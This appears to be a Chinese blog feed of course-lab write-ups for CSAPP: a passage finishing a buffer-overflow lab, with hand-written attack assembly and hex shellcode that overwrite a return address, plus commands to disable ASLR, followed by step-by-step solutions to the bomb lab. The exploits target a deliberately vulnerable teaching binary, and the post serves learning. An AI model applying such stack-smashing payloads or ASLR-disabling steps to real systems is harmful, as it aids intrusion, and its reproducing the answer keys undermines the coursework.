&lt;p&gt;从这关开始越来越有难度了，Level 2 是第二天睡醒起来的下午时间做的。&lt;code class=&quot;highlighter-rouge&quot;&gt;bang()&lt;/code&gt; 这个函数和上面的 &lt;code class=&quot;highlighter-rouge&quot;&gt;fizz()&lt;/code&gt; 很像，只不过参数变成了全局变量 &lt;code class=&quot;highlighter-rouge&quot;&gt;global_value&lt;/code&gt;：&lt;/p&gt;

&lt;script src=&quot;https://gist.github.com/cee/f9f9679be576e6e64322.js&quot;&gt;&lt;/script&gt;

&lt;p&gt;Hints 里面也提到了一些 tricks：&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Do not attempt to use either a &lt;code class=&quot;highlighter-rouge&quot;&gt;jmp&lt;/code&gt; or a &lt;code class=&quot;highlighter-rouge&quot;&gt;call&lt;/code&gt; instruction to jump to the code for &lt;code class=&quot;highlighter-rouge&quot;&gt;bang()&lt;/code&gt;. These instructions use PC-relative addressing, which is very tricky to set up correctly. Instead, push an address on the stack and use the &lt;code class=&quot;highlighter-rouge&quot;&gt;retq&lt;/code&gt; instruction.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;不能通过 &lt;code class=&quot;highlighter-rouge&quot;&gt;jmp&lt;/code&gt; 和 &lt;code class=&quot;highlighter-rouge&quot;&gt;call&lt;/code&gt; 指令跳转，因为是和 Counter 相对寻址的。我们需要找到 &lt;code class=&quot;highlighter-rouge&quot;&gt;bang()&lt;/code&gt; 的入口地址并且把 &lt;code class=&quot;highlighter-rouge&quot;&gt;cookie&lt;/code&gt; 复制一份到 &lt;code class=&quot;highlighter-rouge&quot;&gt;global_value&lt;/code&gt; 中。继续来看 &lt;code class=&quot;highlighter-rouge&quot;&gt;bang()&lt;/code&gt; 函数的汇编函数：&lt;/p&gt;

&lt;script src=&quot;https://gist.github.com/cee/f96b2e2fd0ba6768be62.js&quot;&gt;&lt;/script&gt;

&lt;p&gt;找到我们需要的函数入口 &lt;code class=&quot;highlighter-rouge&quot;&gt;0x401020&lt;/code&gt;，&lt;code class=&quot;highlighter-rouge&quot;&gt;cookie&lt;/code&gt; 的地址 &lt;code class=&quot;highlighter-rouge&quot;&gt;0x602320&lt;/code&gt;，&lt;code class=&quot;highlighter-rouge&quot;&gt;global_value&lt;/code&gt; 的地址 &lt;code class=&quot;highlighter-rouge&quot;&gt;0x602308&lt;/code&gt;。这时我们需要写一段汇编来实现函数的跳转：&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;movabs 0x602320, %rax   ;自己用的直接是立即数&lt;br /&gt;
movabs %rax, 0x602308&lt;br /&gt;
pushq $0x401020&lt;br /&gt;
retq&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;生成对应的 &lt;code class=&quot;highlighter-rouge&quot;&gt;.d&lt;/code&gt; 文件：&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;gcc -c bang.s&lt;br /&gt;
objdump -d bang.o &amp;gt; bang.d&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;写出最后的答案：&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;48 b8 0b 43 71 79 17 a7 27 37 48 a3 08 23 60 00 00 00 00 00 68 20 10 40 00 c3 （attack code, 26 bytes）&lt;br /&gt;
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 （26 bytes）&lt;br /&gt;
00 00 a0 be ff ff ff 7f （%rax，where we read buffer）&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&quot;level-3&quot;&gt;Level 3&lt;/h3&gt;

&lt;p&gt;最后一关，啊哈，Instruction 上又&lt;del&gt;很邪恶地&lt;/del&gt;（This style of attack is tricky）写出了要求：要更改 &lt;code class=&quot;highlighter-rouge&quot;&gt;%rbp&lt;/code&gt; 和返回地址来实现攻击。最终是需要我们在 &lt;code class=&quot;highlighter-rouge&quot;&gt;getbuf()&lt;/code&gt; 函数中返回我们的 &lt;code class=&quot;highlighter-rouge&quot;&gt;cookie&lt;/code&gt; 来调用 &lt;code class=&quot;highlighter-rouge&quot;&gt;test()&lt;/code&gt;：&lt;/p&gt;

&lt;script src=&quot;https://gist.github.com/cee/f4cc0270a4c57aa036b3.js&quot;&gt;&lt;/script&gt;

&lt;p&gt;思想其实和上一题类似，也是要写一段 attack code：&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;movabs $0x3727a7177971430b, %rax	;复制cookie&lt;br /&gt;
movabs $0x7fffffffbf00, %rbp	;更改%rbp&lt;br /&gt;
pushq  $0x400ef3	;getbuf调用后的第一条指令，接着继续执行&lt;br /&gt;
retq&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;生成后写出答案：&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;48 b8 0b 43 71 79 17 a7 27 37 48 bd 00 bf ff ff ff 7f 00 00 68 f3 0e 40 00 c3 （attack code, 26 bytes）&lt;br /&gt;
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00（26 bytes）&lt;br /&gt;
00 00 a0 be ff ff ff 7f （%rax，where we start comparing）&lt;br /&gt;
&lt;strong&gt;撒花完工，55分到手~&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&quot;why-within-gdb&quot;&gt;Why Within Gdb&lt;/h3&gt;

&lt;p&gt;Instruction 在 Level 2 里面提到了这么一段话：&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;For level 2, you will need to run your exploit within gdb for it to succeed. (the VM has special memory protection that prevents execution of memory locations in the stack. Since gdb works a little differently, it will allow the exploit to succeed.)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Level 3 也同样有类似的话：&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;For level 3, you will need to run your exploit within gdb for it to succeed.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;这是为什么呢？自己一开始表示很困惑，于是在 Forum 上提出了&lt;a href=&quot;https://class.coursera.org/hwswinterface-002/forum/thread?thread_id=863&quot;&gt;这个问题&lt;/a&gt;，很快就有个好心的同学回答了。&lt;/p&gt;

&lt;p&gt;我们知道对于大多数 GNU/Linux 的发行版都有内存保护机制。其中有一种用来保护内存不被攻击的方法叫做 &lt;strong&gt;Address Space Layout Randomization（ASLR，位址空间配置随机加载）&lt;/strong&gt;。位址空间配置随机加载利用随机方式配置资料位址，让某些敏感资料（例如操作系统内核）能配置到一个恶意程式未能事先得知的位址，令攻击者难于进行攻击。在系统中，ASLR 是默认开启的，而 gdb 则默认禁用了 ASLR。所以我们编译后的 &lt;code class=&quot;highlighter-rouge&quot;&gt;bufbomb&lt;/code&gt; 中的地址是可以被确认的，这也就解释了为什么在 gdb 中可以改写全局变量。&lt;/p&gt;

&lt;p&gt;如果想要在系统下执行，可以通过 &lt;code class=&quot;highlighter-rouge&quot;&gt;sysctl kernel.randomize_va_space = 0&lt;/code&gt; 或者 &lt;code class=&quot;highlighter-rouge&quot;&gt;echo 0 &amp;gt; /proc/sys/kernel/randomize_va_space&lt;/code&gt; 来解除 ASLR，但是这里&lt;strong&gt;肯定不推荐&lt;/strong&gt;这么做/w\。&lt;/p&gt;

&lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;两篇在 32 位 Linux 下的解释也相当精彩：&lt;/p&gt;

    &lt;ul&gt;
      &lt;li&gt;
        &lt;p&gt;&lt;a href=&quot;http://blog.csdn.net/u013648407/article/details/25742553&quot;&gt;CSApp Buffer Lab&lt;/a&gt;&lt;/p&gt;
      &lt;/li&gt;
      &lt;li&gt;
        &lt;p&gt;&lt;a href=&quot;http://blog.youlingman.info/csapp-bufbomb-lab-solve/&quot;&gt;CSApp Bufbomb Lab解题记录&lt;/a&gt;&lt;/p&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;当然还有 Ricter 菊苣的：&lt;/p&gt;

    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;http://www.ricter.me/articles/159&quot;&gt;缓冲区溢出的 Hello World&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;什么是 ASLR：&lt;/p&gt;

    &lt;ul&gt;
      &lt;li&gt;
        &lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Address_space_layout_randomization&quot;&gt;Wikipedia&lt;/a&gt;&lt;/p&gt;
      &lt;/li&gt;
      &lt;li&gt;
        &lt;p&gt;课本《深入理解计算机系统（原作第二版）》P180&lt;/p&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;GNU/Linux 下的缓存区溢出：&lt;/p&gt;

    &lt;ul&gt;
      &lt;li&gt;
        &lt;p&gt;&lt;a href=&quot;http://drops.wooyun.org/papers/1421&quot;&gt;做个试验：简单的缓冲区溢出&lt;/a&gt;&lt;/p&gt;
      &lt;/li&gt;
      &lt;li&gt;
        &lt;p&gt;&lt;a href=&quot;http://www.exploit-db.com/papers/24085/&quot;&gt;Stack Smashing On A Modern Linux System&lt;/a&gt;&lt;/p&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;p&gt;感谢观众姥爷们翻完了这篇毫无技术的文章。两次实验给自己带来了很多知识上的长进，甚至是做出来后的惊喜，也再一次深入了解了 C/C++ 的函数调用和 x86-64 下的汇编，算是对课堂知识的一次扩充。&lt;/p&gt;

&lt;p&gt;如果有机会的话之后的 lab 作业也会写点总结的文章。恩就这样~&lt;/p&gt;


          
          
        
      
        </content><summary>（大概是 Lab 三部曲）</summary></entry><entry><title>Dear Assembly（2）</title><id>http://blog.cee.moe/dear-assembly-2.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/dear-assembly-2.html" /><published>2014-07-30T00:00:00-07:00</published><updated>2015-08-03T04:49:03-07:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;blockquote&gt;
  &lt;p&gt;继续我们的拆炸弹之旅~&lt;/p&gt;
&lt;/blockquote&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;phase_6&quot;&gt;Phase_6&lt;/h3&gt;

&lt;p&gt;作业的要求也就是做到 phase_5，但是很感兴趣所以继续往下做~&lt;/p&gt;

&lt;script src=&quot;https://gist.github.com/cee/484ffb088d2130999a67.js&quot;&gt;&lt;/script&gt;

&lt;p&gt;代码如上。&lt;/p&gt;

&lt;p&gt;第 4 行的 &lt;code class=&quot;highlighter-rouge&quot;&gt;strtol&lt;/code&gt; 函数：字符串按照 10 进制转换成长整形，这里不再赘述（就是得到输入的数）。并且第 5 行把它放在了 &lt;code class=&quot;highlighter-rouge&quot;&gt;node0&lt;/code&gt; 中。&lt;/p&gt;

&lt;p&gt;目光投向第 12 行的 &lt;code class=&quot;highlighter-rouge&quot;&gt;cmp&lt;/code&gt;（很重要啊混蛋！），&lt;code class=&quot;highlighter-rouge&quot;&gt;%edx == *(%rax)&lt;/code&gt;，往上再看三行相当于 &lt;code class=&quot;highlighter-rouge&quot;&gt;%rax = %rax + 8&lt;/code&gt; 做了 3 次，指针向后移动了三个 address 长度。再来分析 &lt;code class=&quot;highlighter-rouge&quot;&gt;fun6&lt;/code&gt; 究竟做了什么：&lt;/p&gt;

&lt;script src=&quot;https://gist.github.com/cee/b5dca8183efedd5abf21.js&quot;&gt;&lt;/script&gt;

&lt;p&gt;（&lt;code class=&quot;highlighter-rouge&quot;&gt;fun6&lt;/code&gt; 就是长长长+看不懂！）&lt;/p&gt;

&lt;p&gt;尽管如此还是得继续，手写一下各个寄存器的转化，分析一下 &lt;code class=&quot;highlighter-rouge&quot;&gt;fun6&lt;/code&gt; 的作用：排序。&lt;/p&gt;

&lt;p&gt;题目就转换成对所有数排序后第四个数是否等于输入的数，观察一下 &lt;code class=&quot;highlighter-rouge&quot;&gt;node1&lt;/code&gt; 到 &lt;code class=&quot;highlighter-rouge&quot;&gt;node9&lt;/code&gt; ，答案也就出来了：&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;取 600 ~ 673（分别对应 &lt;code class=&quot;highlighter-rouge&quot;&gt;node8&lt;/code&gt; 和 &lt;code class=&quot;highlighter-rouge&quot;&gt;node6&lt;/code&gt;）中的任意一个整数&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&quot;secret_phase&quot;&gt;Secret_Phase&lt;/h3&gt;

&lt;p&gt;最好玩的莫过于做完了布置的作业继续探索了！Let’s Go On！&lt;/p&gt;

&lt;p&gt;说到 Secret Phase，第一次看到是因为用 &lt;code class=&quot;highlighter-rouge&quot;&gt;x /32c&lt;/code&gt; 看格式化字符串的时候发现了：&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;austinpowers&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;后来发现在每个 phase 做完后的 &lt;code class=&quot;highlighter-rouge&quot;&gt;phase_defused&lt;/code&gt; 有个调用：&lt;/p&gt;

&lt;script src=&quot;https://gist.github.com/cee/118c76e20cc232aabdaf.js&quot;&gt;&lt;/script&gt;

&lt;p&gt;顺藤摸瓜，看了一下地址在 &lt;code class=&quot;highlighter-rouge&quot;&gt;0x401ec4&lt;/code&gt; 中的格式化字符串：&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;%d %s&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;并且和 &lt;code class=&quot;highlighter-rouge&quot;&gt;austinpowers&lt;/code&gt; 比较了。并且 &lt;code class=&quot;highlighter-rouge&quot;&gt;0x603030&lt;/code&gt; 这个入口也就是第四题的输入，即在 ⑨ 后面加上 &lt;code class=&quot;highlighter-rouge&quot;&gt;austinpowers&lt;/code&gt; 就进入了 &lt;code class=&quot;highlighter-rouge&quot;&gt;secret_phase&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;最后来看一下 &lt;code class=&quot;highlighter-rouge&quot;&gt;secret_phase&lt;/code&gt; 和调用的 &lt;code class=&quot;highlighter-rouge&quot;&gt;fun7&lt;/code&gt;：&lt;/p&gt;

&lt;script src=&quot;https://gist.github.com/cee/f703ad785c8aa3fd8337.js&quot;&gt;&lt;/script&gt;

&lt;script src=&quot;https://gist.github.com/cee/c68cded3572f66e29759.js&quot;&gt;&lt;/script&gt;

&lt;p&gt;这里建立了一棵树，他的数据结构就是节点自身和左右孩子。第 15 行的 &lt;code class=&quot;highlighter-rouge&quot;&gt;cmp&lt;/code&gt;（跟你们说了很重要！）函数要求我们 &lt;code class=&quot;highlighter-rouge&quot;&gt;fun7&lt;/code&gt; 的返回值是 3。画出树得到最后的答案：&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;107&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;撒花，成绩就是 &lt;code class=&quot;highlighter-rouge&quot;&gt;62.5/50&lt;/code&gt; 了！&lt;/p&gt;

&lt;h3 id=&quot;about-gdb&quot;&gt;About GDB&lt;/h3&gt;

&lt;p&gt;关于 gdb 这里也想谈谈。&lt;/p&gt;

&lt;p&gt;通过这次的 lab 作业提升了很多关于 gdb 调试的技巧。&lt;/p&gt;

&lt;p&gt;给大家列一些常用的命令吧~&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;gdb &amp;lt;file&amp;gt;&lt;/code&gt;: 开始调试&amp;gt;&amp;lt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;run&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;quit&lt;/code&gt;: 开始和退出&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;break func/*0x804820&lt;/code&gt;: 给 &lt;code class=&quot;highlighter-rouge&quot;&gt;func&lt;/code&gt; 函数/在地址为 &lt;code class=&quot;highlighter-rouge&quot;&gt;0x804820&lt;/code&gt; 处设置断点&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;delete/disable/enable 1&lt;/code&gt;: 删除/禁用/启用断点 1（自动标号）&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;stepi&lt;/code&gt;: 执行一条指令&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;nexti&lt;/code&gt;: 执行一条指令，但是在函数调用中不停止&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;step&lt;/code&gt;: 执行一条C指令&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;disassemble func/0x804820&lt;/code&gt;: 查看 &lt;code class=&quot;highlighter-rouge&quot;&gt;func&lt;/code&gt; 函数/地址在 &lt;code class=&quot;highlighter-rouge&quot;&gt;0x804820&lt;/code&gt; 的汇编语句&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;print /x $rip&lt;/code&gt;: 16进制输出PC&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;print /d $rip&lt;/code&gt;: 10进制输出PC&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;print /t $rip&lt;/code&gt;: 2进制输出PC&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;x /[NUM][SIZE][FORMAT] where&lt;/code&gt;: 指定格式输出，&lt;code class=&quot;highlighter-rouge&quot;&gt;NUM&lt;/code&gt; 位数，&lt;code class=&quot;highlighter-rouge&quot;&gt;SIZE&lt;/code&gt; 代表每一位的大小（例如 b=byte，w=word，g=giant），&lt;code class=&quot;highlighter-rouge&quot;&gt;FORMAT&lt;/code&gt; 代表格式（x，d，t），&lt;code class=&quot;highlighter-rouge&quot;&gt;WHERE&lt;/code&gt; 代表地址。&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;info r&lt;/code&gt;: 查看寄存器&lt;/p&gt;

&lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;http://lifeofzjs.com/blog/2014/02/03/csapp-bomb-lab/&quot;&gt;CSAPP Bomb Lab&lt;/a&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;whats-next&quot;&gt;What’s Next&lt;/h3&gt;

&lt;blockquote&gt;
  &lt;p&gt;下一篇会主要介绍一下 lab3 的缓存区攻击的作业。&lt;/p&gt;
&lt;/blockquote&gt;

          
          
        
      
        </content><summary>  继续我们的拆炸弹之旅~</summary></entry><entry><title>Dear Assembly（1）</title><id>http://blog.cee.moe/dear-assembly-1.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/dear-assembly-1.html" /><published>2014-07-26T00:00:00-07:00</published><updated>2015-08-03T02:48:10-07:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;p&gt;苦逼的暑假开始了。&lt;/p&gt;

&lt;p&gt;在 &lt;a href=&quot;http://www.binarythink.net/&quot;&gt;lcb 大神&lt;/a&gt; 的推荐下，毫不犹豫地在六月份就选了 Coursera 上的 CSAPP（Computer Systems: A Programmer’s Perspective）。一方面正好自己操作系统也学得很烂，所以趁这个暑假充实一下自己的暑假生活；另一方面，这 CSAPP 的课机会难得，不容错过啊。&lt;/p&gt;

&lt;p&gt;这篇文章的话，主要还是讲一下 Lab 2 的拆炸弹作业。俗话说：&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;DDL 是第一生产力！&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;赶在 DDL 前两天，晚上花了 5 个小时终于做完了！&lt;/p&gt;

&lt;p&gt;本文分上下两篇，主要介绍一下 Assembly、gdb 的使用，还有拆炸弹的解题过程/w\&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;phase_1&quot;&gt;Phase_1&lt;/h3&gt;

&lt;p&gt;反编译 phase_1 的代码 &lt;code class=&quot;highlighter-rouge&quot;&gt;disassemble phase_1&lt;/code&gt;，得到：&lt;/p&gt;

&lt;script src=&quot;https://gist.github.com/cee/70a6a7970cdb6b5c0d3e.js&quot;&gt;&lt;/script&gt;

&lt;p&gt;除去 1，7，8 行，关注剩下的 2 到 6 行。&lt;/p&gt;

&lt;p&gt;程序调用了 &lt;code class=&quot;highlighter-rouge&quot;&gt;strings_not_equal()&lt;/code&gt; 函数，比较输入字符串与 &lt;code class=&quot;highlighter-rouge&quot;&gt;0x401af8&lt;/code&gt; 指向的字符串是否相等。使用 &lt;code class=&quot;highlighter-rouge&quot;&gt;x /sb 0x401af8&lt;/code&gt; 查看 &lt;code class=&quot;highlighter-rouge&quot;&gt;0x401af8&lt;/code&gt; 指向的字符串，就得到了第一个答案：&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Science isn’t about why, it’s about why not?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;phase_1 结束！&lt;/p&gt;

&lt;h3 id=&quot;phase_2&quot;&gt;Phase_2&lt;/h3&gt;

&lt;p&gt;进入 phase_2，&lt;code class=&quot;highlighter-rouge&quot;&gt;disassemble phase_2&lt;/code&gt; 得到：&lt;/p&gt;

&lt;script src=&quot;https://gist.github.com/cee/3f304d145331cc0591af.js&quot;&gt;&lt;/script&gt;

&lt;p&gt;第七行调用 &lt;code class=&quot;highlighter-rouge&quot;&gt;read_six_numbers&lt;/code&gt; 函数，&lt;code class=&quot;highlighter-rouge&quot;&gt;disassemble read_six_numbers&lt;/code&gt;：&lt;/p&gt;

&lt;script src=&quot;https://gist.github.com/cee/57a0d0b1a745dac52532.js&quot;&gt;&lt;/script&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;read_six_numbers&lt;/code&gt; 调用了 &lt;code class=&quot;highlighter-rouge&quot;&gt;sscanf&lt;/code&gt;，格式字符串由地址为 &lt;code class=&quot;highlighter-rouge&quot;&gt;0x401eb2&lt;/code&gt; 中的格式解析。查看 &lt;code class=&quot;highlighter-rouge&quot;&gt;0x401eb2&lt;/code&gt; 地址中的格式字符串，使用 &lt;code class=&quot;highlighter-rouge&quot;&gt;x /sb 0x401eb2&lt;/code&gt;：&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;0x401eb2:	 “%d %d %d %d %d %d”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;回到 phase_2 中，我们要知道读完六个数之后做了什么，继续看第 8 行开始的代码。第 8 行让 &lt;code class=&quot;highlighter-rouge&quot;&gt;rbp = rsp&lt;/code&gt; 并且注意到第⑨行中 &lt;code class=&quot;highlighter-rouge&quot;&gt;r13&lt;/code&gt; 寄存器保存了 &lt;code class=&quot;highlighter-rouge&quot;&gt;rsp + 12&lt;/code&gt; （即 &lt;code class=&quot;highlighter-rouge&quot;&gt;rbp + 12&lt;/code&gt; ）的地址，以及第 12、13 行的 &lt;code class=&quot;highlighter-rouge&quot;&gt;eax&lt;/code&gt; 取出了 &lt;code class=&quot;highlighter-rouge&quot;&gt;rbp + 12&lt;/code&gt; 的数并且用 &lt;code class=&quot;highlighter-rouge&quot;&gt;eax&lt;/code&gt; 和 &lt;code class=&quot;highlighter-rouge&quot;&gt;rbp&lt;/code&gt; 两个寄存器之间的书比较是否相等。之后的第 17 行，&lt;code class=&quot;highlighter-rouge&quot;&gt;rbp = rbp + 4&lt;/code&gt;，让指针往后走一个 &lt;code class=&quot;highlighter-rouge&quot;&gt;int&lt;/code&gt; 的大小。看到这里也就知道了 phase_2 的含义：&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;输入数组 &lt;code class=&quot;highlighter-rouge&quot;&gt;a[6]&lt;/code&gt; 后，比较是否是一个长度为 3 的循环数组。即是否满足 &lt;code class=&quot;highlighter-rouge&quot;&gt;a[0] = a[3]&lt;/code&gt;，&lt;code class=&quot;highlighter-rouge&quot;&gt;a[1] = a[4]&lt;/code&gt; 和 &lt;code class=&quot;highlighter-rouge&quot;&gt;a[2] = a[5]&lt;/code&gt;。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;输入符合条件的六个数即可~难度也不是很大(｢･ω･)｢&lt;/p&gt;

&lt;h3 id=&quot;phase_3&quot;&gt;Phase_3&lt;/h3&gt;

&lt;p&gt;开始进入比较有挑战性的 phase_3，同样使用 &lt;code class=&quot;highlighter-rouge&quot;&gt;disassenmble phase_3&lt;/code&gt;：&lt;/p&gt;

&lt;script src=&quot;https://gist.github.com/cee/e90dc2aba7a1372ac2b4.js&quot;&gt;&lt;/script&gt;

&lt;p&gt;比之前更长了，不是么？&lt;/p&gt;

&lt;p&gt;观察一下函数的特征，尤其是 14 - 27行，&lt;code class=&quot;highlighter-rouge&quot;&gt;Switch/Case&lt;/code&gt; 的跳转表，非常的明显！&lt;/p&gt;

&lt;p&gt;查看 &lt;code class=&quot;highlighter-rouge&quot;&gt;sscanf&lt;/code&gt; 的格式字符串，&lt;code class=&quot;highlighter-rouge&quot;&gt;x /sb 0x401ebe&lt;/code&gt;：&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;0x401ebe:	 “%d %d”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;输入两个数，第一个数用于 &lt;code class=&quot;highlighter-rouge&quot;&gt;Switch/Case&lt;/code&gt; 分支判断，第二个数字则用于和 &lt;code class=&quot;highlighter-rouge&quot;&gt;eax&lt;/code&gt; 的比较。注意到 11 行的 &lt;code class=&quot;highlighter-rouge&quot;&gt;cmpl&lt;/code&gt;（每次都是你！）判断了 &lt;code class=&quot;highlighter-rouge&quot;&gt;rsp + 12&lt;/code&gt; 中的数是否大于 7，也就是输入的第一个数是否大于 7（&lt;code class=&quot;highlighter-rouge&quot;&gt;default&lt;/code&gt; 分支）：如果大于就引爆了炸弹，否则就进入不同的 &lt;code class=&quot;highlighter-rouge&quot;&gt;case&lt;/code&gt; 。通过计算不同的组合我们可以很轻松的得到这道题的不同的 7 个解（一行一个解）：&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;0 535&lt;br /&gt;
1 926&lt;br /&gt;
2 214&lt;br /&gt;
3 339&lt;br /&gt;
4 119&lt;br /&gt;
5 352&lt;br /&gt;
6 919&lt;br /&gt;
7 412&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;当屏幕显示 &lt;code class=&quot;highlighter-rouge&quot;&gt;Phase 3 cleared!&lt;/code&gt; 的时候，我们已经解决了一半的问题了！&lt;/p&gt;

&lt;h3 id=&quot;phase_4&quot;&gt;Phase_4&lt;/h3&gt;

&lt;p&gt;Move on, 进入到 phase_4，&lt;code class=&quot;highlighter-rouge&quot;&gt;disassemble phase_4&lt;/code&gt;：&lt;/p&gt;

&lt;script src=&quot;https://gist.github.com/cee/490ad3fa87efb34cf382.js&quot;&gt;&lt;/script&gt;

&lt;p&gt;第 3 行查看 &lt;code class=&quot;highlighter-rouge&quot;&gt;sscanf&lt;/code&gt; 的格式字符串，&lt;code class=&quot;highlighter-rouge&quot;&gt;x /sb 0x401ec1&lt;/code&gt;：&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;0x401ec1:	 “%d”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;即输入一个数。将这个输入的数放入 &lt;code class=&quot;highlighter-rouge&quot;&gt;edi&lt;/code&gt; 中调用了函数 &lt;code class=&quot;highlighter-rouge&quot;&gt;func4&lt;/code&gt;。&lt;code class=&quot;highlighter-rouge&quot;&gt;func4&lt;/code&gt; 的代码如下：&lt;/p&gt;

&lt;script src=&quot;https://gist.github.com/cee/5f2c5ae8f877a1727d29.js&quot;&gt;&lt;/script&gt;

&lt;p&gt;7 - 13 行的主要说明了递归函数目的 &lt;code class=&quot;highlighter-rouge&quot;&gt;f(x) = f(x-1) + f(x-2)&lt;/code&gt;，边际条件在第 5 和 6 行 &lt;code class=&quot;highlighter-rouge&quot;&gt;f(1) = 1&lt;/code&gt;（Fibbonacci 数列)。&lt;/p&gt;

&lt;p&gt;回到原函数，14 行的 &lt;code class=&quot;highlighter-rouge&quot;&gt;cmp&lt;/code&gt; 使用了返回值 &lt;code class=&quot;highlighter-rouge&quot;&gt;eax&lt;/code&gt; 和 &lt;code class=&quot;highlighter-rouge&quot;&gt;0x37 = 55&lt;/code&gt; 比较，题目意图也很明显了：&lt;code class=&quot;highlighter-rouge&quot;&gt;n&lt;/code&gt; 等于几时，有 &lt;code class=&quot;highlighter-rouge&quot;&gt;f(n) = 55&lt;/code&gt;。答案就是：&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;del&gt;⑨（这么写当然是错的）&lt;/del&gt;&lt;br /&gt;
9&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&quot;phase_5&quot;&gt;Phase_5&lt;/h3&gt;

&lt;script src=&quot;https://gist.github.com/cee/97931960a941fbda380a.js&quot;&gt;&lt;/script&gt;

&lt;p&gt;同样地先观察格式字符串，&lt;code class=&quot;highlighter-rouge&quot;&gt;x /sb 0x401ebe&lt;/code&gt;：&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;0x401ebe:	 “%d %d”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;格式输入正确后跳转到第 10 行执行函数，这里一行一行解释。&lt;/p&gt;

